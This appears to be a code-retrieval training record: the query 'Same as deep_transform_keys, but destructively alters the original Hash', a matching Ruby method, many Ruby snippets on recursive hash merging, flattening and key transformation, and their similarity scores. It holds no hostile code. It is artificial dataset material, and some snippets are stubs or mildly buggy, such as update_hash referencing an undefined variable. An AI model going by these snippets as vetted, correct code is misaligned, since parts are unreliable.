"def recursively_search_hash(hash, key)\n values = hash.collect {|k, v| v if k == key}.compact\n values << hash.collect { |k, v| recursively_search_hash(v, key) if v.is_a?(Hash) }\n values << hash.collect do |k, v|\n v.collect {|element| recursively_search_hash(element, key) if element.is_a?(Hash) } if v.is_a?(Array)\n end\n return values.flatten.compact.uniq\n end",
"def deep_transform_keys!(hash, &block)\n _deep_transform_keys_in_object!(hash, &block)\n end",
"def build_deep_hash( value, hash, levels )\n\t\tif levels.length == 0\n\t\t\tvalue.untaint\n\t\telsif hash.nil?\n\t\t\t{ levels.first => build_deep_hash(value, nil, levels[1..-1]) }\n\t\telse\n\t\t\thash.update({ levels.first => build_deep_hash(value, hash[levels.first], levels[1..-1]) })\n\t\tend\n\tend",
"def hash(hash, &block)\n hash.inject({}) do |result, (key, value)|\n # Recursively deep-symbolize subhashes\n value = _recurse_(value, &block)\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = key.to_sym rescue key\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n result\n end\n end",
"def deep_merge(source, hash); end",
"def deep_merge(source, hash); end",
"def recursive_update_worker(target_hash, source_hash, terminal_key, parent_key, add, record_id, save_change)\n source_hash.each do |source_hash_key, source_hash_value|\n current_key = \"#{parent_key}#{\"__\" if parent_key}#{source_hash_key}\".to_sym \n if current_key == terminal_key\n return if target_hash.nil? or !(target_hash[source_hash_key] or add)\n target_hash[source_hash_key] = source_hash_value\n save_change << record_id\n else\n if target_hash.is_a? Hash\n recursive_update_worker(target_hash[source_hash_key], source_hash[source_hash_key], terminal_key, current_key, add, record_id, save_change)\n else\n if add\n target_hash = source_hash\n save_change << record_id\n end\n end\n end\n end\n end",
"def deep_merge_hashes(master_hash, other_hash); end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def recursive_to_hash(*values)\n if values.size == 1\n value = values.first\n case value\n when Hash\n value.inject({}) { |h, (k, v)| h.update k => recursive_to_hash(v) }\n when Array\n value.map { |v| recursive_to_hash v }\n when ->(v) { v.respond_to?(:to_msgpack) }\n value\n else\n value.to_hash\n end\n else\n values.all? { |v| Type! v, Hash, NilClass }\n recursive_to_hash(values.compact.reduce { |h, v| h.merge v })\n end\n end",
"def checksum!\n # Get a deep copy of hash to compare with\n @_original_hash = Marshal.load(Marshal.dump(to_hash))\n # create a copy of basic elements\n base = self.reject { |k,_| ['_id', '_rev', 'couchrest-hash'].include? k.to_s }\n\n result = nil\n\n flatten =\n lambda {|r|\n (recurse = lambda {|v|\n if v.is_a?(Hash) || v.is_a?(CouchRest::Document)\n v.to_a.map{|v| recurse.call(v)}.flatten\n elsif v.is_a?(Array)\n v.flatten.map{|v| recurse.call(v)}\n else\n v.to_s\n end\n }).call(r)\n }\n self['couchrest-hash'] = Digest::MD5.hexdigest(flatten.call(base).sort.join(''))\n end",
"def hash_flatten(hash, delimiter, prefix = nil, flat = {})\n if hash.is_a? Array then\n hash.each_index do |index|\n newkey = index\n newkey = '%s%s%s' % [prefix, delimiter, newkey] if prefix\n val = hash[index]\n hash_flatten val, delimiter, newkey, flat\n end\n elsif hash.is_a? Hash then\n hash.keys.each do |key|\n newkey = key\n newkey = '%s%s%s' % [prefix, delimiter, key] if prefix\n val = hash[key]\n hash_flatten val, delimiter, newkey, flat\n end\n else\n flat[prefix] = hash\n end\n\n return flat\nend",
"def deep_munge(hash)\r\nhash.each do |k, v|\r\ncase v\r\nwhen Array\r\nv.grep(Hash) { |x| deep_munge(x) }\r\nv.compact!\r\nhash[k] = nil if v.empty?\r\nwhen Hash\r\ndeep_munge(v)\r\nend\r\nend\r\nhash\r\nend",
"def hash(key); end",
"def sub_hash(hash, key)\n if hash[key].is_a?(Hash)\n hash[key]\n else\n EMPTY_READ_ONLY_HASH\n end\n end",
"def deep_merge!(*other_hashes, &blk); end",
"def smart_hash(h)\n h = Hash[h.map{|k,v| [k, v.is_a?(Hash) ? smart_hash(v) : v]}]\n h.instance_eval do\n def method_missing(name, *args, &block)\n self[name.to_s]\n end\n end\n h\nend",
"def deep_symbolize(hsh, &block)\n hsh.inject({}) do |result, (key, value)|\n # Recursively deep-symbolize subhashes\n value = deep_symbolize(value, &block) if value.is_a? Hash\n # Recursively deep-symbolize subarrays\n value = deep_symbolize_array(value, &block) if value.is_a? Array\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = key.to_sym rescue key\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n result\n end\n end",
"def build_deep_hash( value, hash, levels )\n\t\tif levels.length == 0\n\t\t\tvalue\n\t\telsif hash.nil?\n\t\t\t{ levels.first => build_deep_hash(value, nil, levels[1..-1]) }\n\t\telse\n\t\t\thash.update({ levels.first => build_deep_hash(value, hash[levels.first], levels[1..-1]) })\n\t\tend\n\tend",
"def hash_check(start_hash, end_hash, hash = {})\n key = (start_hash.keys + end_hash.keys).uniq.first\n st = start_hash.first.last unless start_hash.first.nil?\n ed = end_hash.first.last unless end_hash.first.nil?\n\n if start_hash.empty? && end_hash.empty?\n hash\n else\n if st.class == Hash && ed.class == Hash\n hash[key] = hash_check(st, ed, {})\n else\n hash[key] = st != ed ? [st, ed] : st\n [start_hash, end_hash].each {|x| x.delete(key)}\n hash_check(start_hash, end_hash, hash)\n end\n end\n hash\nend",
"def foo(h)\n h.each_pair do |k,v|\n if v.is_a?(Hash)\n ihash(v)\n else\n puts \"#{k} - #{v}\"\n end\n end\nend",
"def deep_merge (h)\n self.merge(h) do |k, old, new|\n begin\n AccountTree.new(old).deep_merge(AccountTree.new(new))\n rescue\n new\n end\n end\n end",
"def symbolize_recursive(hash)\n {}.tap do |h|\n hash.each { |key, value| h[key.to_sym] = map_value(value) }\n end\n end",
"def deep_merge_hashes!(target, overwrite); end",
"def roothash\n root_node._hash || recalculate_hash_at(root_node)\n end",
"def each(sub_hash = nil, parents = [], &block)\n sub_hash ||= self\n return to_enum(:each, sub_hash, parents) unless block_given?\n if sub_hash[:''] == :''\n yield parents.join\n end\n\n sub_hash.keys.each do |k|\n next if k == :''\n each(sub_hash[k], parents + [k], &block)\n end\n self\n end",
"def recurse_add(el, result)\n case result\n when Array\n result.each { |x| recurse_add el, x}\n when Hash\n result.each do |x, y|\n key_exists = result.key?(x) && result[x] == y\n if key_exists && !@hashes[x]\n if result[x].class == Array\n @hashes[x] = {}\n result[x].uniq.each do |item|\n if @hashes[x][item].nil?\n @hashes[x][item] = [el]\n else\n @hashes[x][item] << el\n end\n end\n else\n @hashes[x] = {result[x] => [el]}\n end\n elsif key_exists && @hashes[x] && @hashes[x][result[x]].class == Array\n @hashes[x][result[x]] << (el)\n elsif key_exists && @hashes[x] && !@hashes[x][result[x]]\n if result[x].class == Array\n result[x].uniq.each do |item|\n if @hashes[x][item].nil?\n @hashes[x][item] = [el]\n else\n @hashes[x][item] << el\n end\n end\n else\n @hashes[x][result[x]] = [el]\n end\n end \n recurse_add el, x; recurse_add el, y \n end \n else\n result\n end\n end",
"def _deep_merge(hash, other_hash); end",
"def handle_hash(hash)\n\n #p \"Handling hash: #{hash.to_s}, arriving with name: #{@key_name}\"\n\n @level = @level + '.hash'\n\n hash_item = 0\n\n #Tour this hash determining the value types.\n hash.each { |key, value|\n\n hash_item = hash_item + 1\n\n case value\n\n when Numeric, String, NilClass, false, true\n @keys << \"#{@key_name}.#{key}\" #Done here.\n\n #reset key_name back if array?\n begin\n #Float(@key_name.split(\".\")[-1])\n if hash.length == hash_item then\n @key_name = @key_name.split(\".\")[0..-2].join(\".\")\n end\n rescue Exception => e\n AppLogger.log.error(\"Error in handle_hash method: #{e.message}\")\n end\n\n when Hash\n @key_name = \"#{@key_name}.#{key}\"\n handle_hash(value) #go off and handle hashes!\n if hash_item == hash.length then\n @key_name = @key_name.split(\".\")[0..-2].join(\".\")\n end\n when Array\n @key_name = \"#{@key_name}.#{key}\"\n handle_array(value) #go off and handle arrays!\n if hash_item == hash.length then\n @key_name = @key_name.split(\".\")[0..-2].join(\".\")\n end\n else\n AppLogger.log.warn(\"WARNING: Unexpected type in Tweet hash: #{value}\")\n end\n }\n\n @level = @level.split(\".\")[0..-2].join(\".\")\n end",
"def _rh_merge_recursive(result, key, data)\n return false unless [Array, Hash].include?(data.class)\n\n value = data[key]\n return false unless [Array, Hash].include?(value.class) &&\n value.class == result[key].class\n\n if object_id == result.object_id\n result[key].rh_merge!(value)\n else\n result[key] = result[key].rh_merge(value)\n end\n\n true\n end",
"def deep_merge(*other_hashes, &blk); end",
"def deep_transform &block\n\n\t\tDeepTransform.do_deep_transform_on_hashlike_(self, &block)\n\tend",
"def visit_Hash(o, parent)\n o.map do |k, v|\n if implies_context_change?(v)\n visit_with_context_change(k, v, parent)\n else\n visit_without_context_change(k, v, parent)\n end\n end.flatten\n end",
"def expanded_keys( hash )\n hash.each do |k,v|\n ek = expand_key( k )\n yield ek, v unless ek.empty?\n end\n end",
"def deeper(hash, remainingLevels, value)\n node = remainingLevels.shift\n node.gsub!(\"$\", \"-s-\")\n if (hash[node].nil?)\n hash[node] = remainingLevels.empty? ? value : Hash.new\n else\n hash[node] = value if remainingLevels.empty?\n end\n deeper(hash[node], remainingLevels, value) if !remainingLevels.empty?\n end",
"def deep_update(other_hash, &blk)\n other_hash.each_pair do |k,v|\n key = convert_key(k)\n if regular_reader(key).is_a?(Mash) and v.is_a?(::Hash)\n custom_reader(key).deep_update(v, &blk)\n else\n value = convert_value(v, true)\n value = blk.call(key, self[k], value) if blk\n custom_writer(key, value)\n end\n end\n self\n end",
"def change(hash); end",
"def flatten_hash(item, parent_name=nil, result=nil)\n result = Hash.new() if result.nil?\n if item.kind_of? Hash\n parent_name += \".\" if not parent_name.nil?\n item.each do |k,v|\n flatten_hash(v, \"#{parent_name}#{k}\", result)\n end\n else\n result[parent_name] = item\n end\n result\nend",
"def nest!(hash, root, keys)\n nest_keys = hash.keys & keys\n\n if nest_keys.size > 0\n child = Hash[nest_keys.zip(nest_keys.map { |key| hash.delete(key) })]\n hash.update(root => child)\n else\n hash.update(root => {})\n end\n end",
"def modifications(hash, path='')\n hash.each do |k,v|\n if path != ''\n cur_path = \"#{path}/#{k}\"\n else\n cur_path = \"#{k}\"\n end\n # if we have an array then we have a modification\n # (and the array has 2 elements)\n if v.kind_of?(Array)\n if (v[0] and v[1])\n puts \"M #{cur_path}\"\n elsif v[0]\n puts \"A #{cur_path}\"\n else\n puts \"D #{cur_path}\"\n end\n end\n # If we have a hash then we need to explore further\n if v.kind_of?(Hash)\n modifications(v, cur_path)\n end\n end\nend",
"def rehash(oldhash, size)\n (oldhash + 1) % size\n end",
"def recurse_and_hash_tree(node)\n\n ## exit program if given a bunk file/dir\n print_and_exit \"given a bunk file/node\" unless File.exist? node\n\n ## if we have a file then return it's hash\n return Digest::MD5.hexdigest( node + File.read(node) ) if File.file? node\n\n ## we should have a directory now. exit otherwise...\n print_and_exit \"is there a strange device in this dir?\" unless File.directory? node\n\n ## recurse through each element in the directory and remember their hashes\n children_hash = \"\"\n Dir.glob(File.join node, '*' ) { |element| children_hash << recurse_and_hash_tree(element) }\n \n ## return the mashed up hash\n return Digest::MD5.hexdigest( node + children_hash ) \n\n end",
"def deep_hash\n UniMap.deep_hash( self )\n end",
"def node_subhashes(node)\n l_hash = node.left ? node.left._hash : self.class.null_hash_at(node.depth + 1)\n r_hash = node.right ? node.right._hash : self.class.null_hash_at(node.depth + 1)\n [l_hash, r_hash]\n end",
"def deep_merge!(other_hash, append: :auto, &block)\n\t\t\t\treturn self unless other_hash\n\t\t\t\tother_hash.each_pair do |k,v|\n\t\t\t\t\ttv = self[k]\n\t\t\t\t\tcase\n\t\t\t\t\twhen tv.is_a?(Hash) && v.is_a?(Hash)\n\t\t\t\t\t\tself[k] = tv.deep_merge(v, &block)\n\t\t\t\t\twhen tv.is_a?(Array) && v.is_a?(Array)\n\t\t\t\t\t\tif append==:auto and v.length > 0 && v.first.nil? then\n\t\t\t\t\t\t\t#hack: if the array begins with nil, we append the new\n\t\t\t\t\t\t\t#value rather than overwrite it\n\t\t\t\t\t\t\tv.shift\n\t\t\t\t\t\t\tself[k] += v\n\t\t\t\t\t\telsif append && append != :auto\n\t\t\t\t\t\t\tself[k] += v\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\t\tend\n\t\t\t\t\twhen tv.nil? && v.is_a?(Array)\n\t\t\t\t\t\t#here we still need to remove nil (see above)\n\t\t\t\t\t\tif append==:auto and v.length > 0 && v.first.nil? then\n\t\t\t\t\t\t\tv.shift\n\t\t\t\t\t\t\tself[k]=v\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tself\n\t\t\tend",
"def deep_transform_keys(&block); end",
"def deep_transform_keys!(&block); end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def rehash() end",
"def initialize_subhashes(hash, keys)\n key = keys.shift\n subhash = hash[key] || (hash[key] = {})\n if keys.size > 0\n initialize_subhashes(subhash, keys)\n else\n subhash\n end\n end",
"def hashkeys(hash, val, ans = [], keylist = nil)\n hash.each do |k, v|\n if v.is_a?(Hash)\n keylist = addkey(k, keylist)\n hashkeys(v, val, ans, keylist)\n keylist = nil\n elsif v == val\n keylist = addkey(k, keylist)\n end\n if keylist\n ans << keylist\n keylist = nil\n end\n end\n\n ans\nend",
"def deep_hash_with_parent(value, key, &block)\n return unless value.is_a?(Hash)\n value.each_with_parent(key, &block)\n end",
"def dig(hash, key, *rest)\n value = hash[key]\n if value.nil? || rest.empty?\n value\n elsif value.is_a?(Hash) || value.is_a?(Array)\n dig(value, *rest)\n else\n fail TypeError, \"#{value.class} does not work with #dig\" # should not happen with our use of #dig\n end\n end",
"def flatten_hash(hash)\n hash.each_with_object({}) do |(key, value), new_object|\n # hash\n if value.is_a? Hash\n reflatten(key, value, new_object)\n # array of hashes\n elsif value.is_a?(Array) && value.first.is_a?(Hash)\n value.each do |val|\n reflatten(key, val, new_object)\n end\n # array of ids - this is associated models\n elsif value.is_a?(Array) && !value.empty?\n set_key_value(key, value, new_object)\n # already flat\n else\n set_key_value(key, value, new_object)\n end\n end\n end",
"def apply_nested_hash(hash)\n hash.each do |k, v|\n if v.is_a?(Hash) && internal_get(k.to_sym).is_a?(Hash)\n # If it is a plain config key (not a context) and the value is a Hash, plain merge the Hashes.\n internal_set(k.to_sym, internal_get(k.to_sym).merge(v))\n elsif v.is_a? Hash\n # If loading from hash, and we reference a context that doesn't exist\n # and warning/strict is off, we need to create the config context that we expected to be here.\n context = internal_get(k.to_sym) || config_context(k.to_sym)\n context.apply_nested_hash(v)\n else\n internal_set(k.to_sym, v)\n end\n end\n end",
"def recursively_transform_keys(&block)\n _recursively_transform_keys_in_object(self, &block)\n end",
"def symbolize_keys_recursively!(object); end",
"def update_hash\n nh = nil\n\n if is_branch != 0\n sha512 = OpenSSL::Digest::SHA512.new\n sha512 << HASH_+PREFIXES[:inner_node]\n hashes.each { |k,h|\n sha512 << v\n }\n nh = sha512.digest\n end\n\n return false if nh == self.hash\n self.hash = nh\n return true\n end",
"def hash(*) end",
"def hash\n @hash || calculate_hash!\n end",
"def transform_hash(hash, path = \"\")\n hash.each_with_object({}) do |(k, v), ret|\n key = path + k.to_s\n\n if v.is_a?(Hash)\n ret.merge! transform_hash(v, \"#{key}:\")\n else\n ret[key] = v\n end\n end\n end",
"def each_pair_recursive\n each_pair do |k, v|\n if v.is_a?(Hash)\n v.each_pair_recursive { |i, j| yield i, j }\n else\n yield(k, v)\n end\n end\n end",
"def hash_sum(hash)\n return 0 if hash.empty?\n hash.values.inject(&:+)\nend",
"def hash\n @hash.hash\n end",
"def hashfunction(key, size)\n #key.hash % size\n key % size\n end",
"def handle_inherited_hash(tf, method)\n if tf\n collect_inherited(method).inject(Doodle::OrderedHash.new){ |hash, item|\n hash.merge(Doodle::OrderedHash[*item])\n }.merge(@this.doodle.__send__(method))\n else\n @this.doodle.__send__(method)\n end\n end",
"def merge(hash); end",
"def merge(hash); end",
"def merge(hash); end",
"def transproc\n Functions[:apply_to_hash, @nested, __hash_function__]\n end",
"def transproc\n Functions[:apply_to_hash, @nested, __hash_function__]\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def deep_transform_keys(hash, &block)\n result = {}\n hash.each do |key, value|\n result[yield(key)] = value.is_a?(Hash) ? deep_transform_keys(value, &block) : value\n end if hash\n result\n end",
"def hash\n @__hash || @__hash = keys.empty? ? super : keys.hash\n end",
"def add(hash); end",
"def transproc\n fn = Functions[:symbolize_keys]\n nested ? Functions[:recursion, Functions[:is, Hash, fn]] : fn\n end",
"def hash(*args, **_arg1, &block); end",
"def dfs(root)\n return if root.nil?\n @stack << root\n @hash[root] = [root.val]\n @stack.each do |node|\n @hash[node] << root.left&.val\n @hash[node] << root.right&.val\n end\n dfs(root.left)\n dfs(root.right)\n @stack.pop\nend"
] |
[
"0.6629245",
"0.6446206",
"0.6275461",
"0.61290985",
"0.60396487",
"0.59696573",
"0.59684175",
"0.59684175",
"0.5968182",
"0.5968182",
"0.5959937",
"0.587134",
"0.5853964",
"0.5846395",
"0.5825159",
"0.5822239",
"0.5783169",
"0.57701015",
"0.57627857",
"0.57343155",
"0.57286566",
"0.5722784",
"0.5722784",
"0.57087356",
"0.5702111",
"0.5690013",
"0.5673157",
"0.5671556",
"0.5666839",
"0.5656752",
"0.5646697",
"0.56205875",
"0.56158507",
"0.56129414",
"0.56112003",
"0.5589957",
"0.55882496",
"0.5579486",
"0.55439436",
"0.5542923",
"0.55415016",
"0.5540424",
"0.55384123",
"0.5536907",
"0.55337167",
"0.55193406",
"0.55122626",
"0.5507665",
"0.55033886",
"0.5499597",
"0.5494582",
"0.5489945",
"0.54788357",
"0.54775506",
"0.54603326",
"0.54419607",
"0.54343885",
"0.54341173",
"0.541662",
"0.5415706",
"0.54130834",
"0.5399097",
"0.53964263",
"0.5387893",
"0.53830636",
"0.53830636",
"0.53830636",
"0.53830636",
"0.53830636",
"0.53830636",
"0.53830636",
"0.53809536",
"0.53699386",
"0.5355887",
"0.53549045",
"0.535186",
"0.53449744",
"0.5342809",
"0.53409535",
"0.53394765",
"0.53385645",
"0.533791",
"0.5334667",
"0.5316001",
"0.53135735",
"0.5311332",
"0.5307467",
"0.5307253",
"0.5298676",
"0.52974653",
"0.52974653",
"0.52974653",
"0.5292703",
"0.5292703",
"0.52894074",
"0.52769405",
"0.5273393",
"0.5261934",
"0.5255922",
"0.5254272",
"0.5250775"
] |
0.0
|
-1
|
Same as deep_transform_keys, but destructively alters the original Hash.
|
def deep_transform_keys!(&block)
_deep_transform_keys_in_object!(self, &block)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deep_transform_keys!(hash, &block)\n _deep_transform_keys_in_object!(hash, &block)\n end",
"def deep_transform_keys!(&block)\n keys.each do |key|\n value = delete(key)\n self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value\n end\n self\n end",
"def deep_transform_keys!(&block)\n keys.each do |key|\n value = delete(key)\n self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value\n end\n self\n end",
"def deep_transform_keys!(&block); end",
"def deep_transform_keys! &block\n keys.each do |key|\n value = delete(key)\n\n self[yield(key)] = case value\n when Hash\n value.deep_transform_keys!(&block)\n when Array\n value.each{ |e| e.deep_transform_keys!(&block) rescue value }\n else\n value\n end\n end\n self\n end",
"def deep_transform_keys(&block); end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def transform_keys!(hash)\n return enum_for(:transform_keys!, hash) unless block_given?\n hash.keys.each do |key|\n hash[yield(key)] = hash.delete(key)\n end\n hash\n end",
"def deep_transform_keys(&block)\n _deep_transform_keys_in_object(self, &block)\n end",
"def deep_transform_keys(&block)\n _deep_transform_keys_in_object(self, &block)\n end",
"def deep_transform_keys(hash, &block)\n result = {}\n hash.each do |key, value|\n result[yield(key)] = value.is_a?(Hash) ? deep_transform_keys(value, &block) : value\n end if hash\n result\n end",
"def symbolize_keys_deep!(h)\n h.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n h[ks] = h.delete k # Preserve order even when k == ks\n symbolize_keys_deep! h[ks] if h[ks].kind_of? Hash\n end\n end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def symbolize_keys(hash)\r\n target = hash.dup\r\n\r\n target.keys.each do |key|\r\n value = target.delete(key)\r\n if value.is_a? Hash\r\n value = symbolize_keys(value)\r\n end\r\n target[(key.to_sym rescue key) || key] = value\r\n end\r\n\r\n target\r\n end",
"def deep_transform_keys!(&block)\n @parameters.deep_transform_keys!(&block)\n self\n end",
"def deep_transform_keys(&block)\n result = {}\n each do |key, value|\n result[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys(&block) : value\n end\n result\n end",
"def recursively_transform_keys(&block)\n _recursively_transform_keys_in_object(self, &block)\n end",
"def recursive_hash_normalize_keys val\n if val.is_a? Hash\n deep_hash_normalize val\n else\n val\n end\n end",
"def transform_keys\n { a: 1, b: 2 }.transform_keys { |key| key_map[key] || key }\n end",
"def deep_stringify_keys(hash)\n transform_hash(hash, :deep => true) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def deep_stringify_keys(hash)\n hash.each_with_object({}) do |(key, value), new_hash|\n new_hash[key.to_s] = (value.respond_to?(:to_hash) ? deep_stringify_keys(value) : value)\n end\n end",
"def symbolize_keys!(hash)\n new_hash = hash.inject({}){ |memo, (k, v)|\n memo[k.to_sym] = v\n if v.class.eql? ::Hash\n memo[k.to_sym] = symbolize_keys! v\n elsif v.class.eql? ::Array\n memo[k.to_sym] = symbolize_keys_of_hashs! v\n end\n memo\n }\n hash.replace new_hash\n end",
"def transform_keys!\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def deep_stringify_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_s }\n end",
"def recursive_symbolize_keys hash\n if !hash.is_a?(Hash)\n return hash\n end\n \n new_hash = {}\n hash.each_pair do |key, value|\n new_hash[key.to_sym] = recursive_symbolize_keys(value)\n end\n new_hash\n end",
"def transform_keys!(&block); end",
"def deep_transform_keys!(object, &block)\n case object\n when Hash\n keys = object.keys\n keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = deep_transform_keys!(value, &block)\n end\n object\n when Array\n object.map! { |e| deep_transform_keys!(e, &block) }\n else\n object\n end\n end",
"def symbolize_keys_deep!(h)\n if Hash == h\n Hash[\n h.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys_deep!(v)]\n end\n ]\n else\n h\n end\n end",
"def deep_symbolize_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def normalize_keys(hash, method = :to_s)\n hash = hash.dup\n hash.keys.each do |k|\n normalized_key = k.respond_to?(method) ? k.send(method) : k\n hash[normalized_key] = hash.delete(k)\n end\n hash\n end",
"def underscorize_keys(hash)\n return unless hash.is_a?(Hash)\n hash.keys.each do |k|\n key = k.to_s.underscore.to_sym\n hash[key] = hash[k]\n hash.delete(k) if key != k\n end\n hash\n end",
"def deep_stringify_keys!\n deep_transform_keys!{ |key| key.to_s }\n end",
"def deep_stringify_keys!\n deep_transform_keys! { |key| key.to_s }\n end",
"def symbolize_hash_keys(hash); end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def normalize_keys(hash)\n hash.inject(HashWithIndifferentAccess.new) do |new_hash, (key, value)|\n new_hash[key.parameterize(separator: \"_\")] = value\n new_hash\n end\n end",
"def deconstruct_keys(keys)\n if @base_object.respond_to?(:deconstruct_keys)\n @base_object\n .deconstruct_keys(keys)\n .transform_values!(&NEW_DIVE)\n else\n keys.to_h { |k| @base_object.public_send(k).then { |v| [k, NEW_DIVE[v]] } }\n end\n end",
"def rename_keys!(keys_hash)\n keys_hash.each do |old, new|\n self[new] = self.delete(old) if self[old]\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def flatten_keys(hash)\n hash.transform_keys(&:downcase).transform_keys(&:to_sym)\n end",
"def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"def hash_invert(hash, new_key)\n hash.each_with_object({}) { |(key, value), out| (out[value[new_key]] ||= []) << value.merge(prefix: key) }\n end",
"def deep_stringify_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_stringify_keys(value) if value.is_a?(Hash)\n result[key.to_s] = value\n result\n }\n end",
"def transform_keys(&block); end",
"def symbolize_keys_deep(hash)\n return hash unless hash.is_a?(Hash)\n\n Hash[hash.map do |key, value|\n # if value is array, loop each element and recursively symbolize keys\n if value.is_a? Array\n value = value.map { |element| symbolize_keys_deep(element) }\n # if value is hash, recursively symbolize keys\n elsif value.is_a? Hash\n value = symbolize_keys_deep(value)\n end\n\n [symbolize_key(key), value]\n end]\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def _deep_transform_keys_in_object!(object, &block)\n case object\n when Hash\n object.keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = _deep_transform_keys_in_object!(value, &block)\n end\n object\n when Array\n object.map! {|e| _deep_transform_keys_in_object!(e, &block)}\n else\n object\n end\n end",
"def symbolize_hash(hash)\n HashKeys.deep_symbolize_keys(hash)\n end",
"def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_keys_recursively!(object); end",
"def normalize(hash)\n hash.symbolize_keys if hash\n end",
"def _deep_transform_keys_in_object!(object, &block)\n case object\n when Hash\n object.keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = _deep_transform_keys_in_object!(value, &block)\n end\n object\n when Array\n object.map! { |e| _deep_transform_keys_in_object!(e, &block) }\n else\n object\n end\n end",
"def symbolize_hash(old_hash)\n old_hash.each_with_object({}) { |(k, v), new_hash|\n new_hash[k.to_sym] = if v.is_a?(Hash)\n symbolize_hash(v)\n elsif v.is_a?(Array)\n v.map{ |h| h.is_a?(Hash) ? symbolize_hash(h) : h }\n else\n v\n end\n }\n end",
"def normalize_keys(hash)\n hash.each{|k, v|\n hash.delete(k) unless @@valid_types.include?(v.class)\n if k.is_a?(String)\n hash.delete(k)\n hash[k.gsub(/\\-/, \"_\").to_sym] = v\n elsif !k.is_a?(Symbol) # elsunless\n hash.delete(k)\n end\n }\n return hash\nend",
"def symbolize_keys(hash)\n hash.keys.each do |key| # rubocop:disable Style/HashEachMethods\n hash[(key.to_sym rescue key) || key] = hash.delete(key)\n end\n hash\n end",
"def transform_hash(original, &block)\n original.inject({}) do |result, (key, value)|\n value = if value.is_a?(Hash)\n transform_hash(value, &block)\n else\n value\n end\n yield(result, key, value)\n result\n end\n end",
"def stringify_keys!\n keys.each{|k| \n v = delete(k)\n self[k.to_s] = v\n v.stringify_keys! if v.is_a?(Hash)\n v.each{|p| p.stringify_keys! if p.is_a?(Hash)} if v.is_a?(Array)\n }\n self\n end",
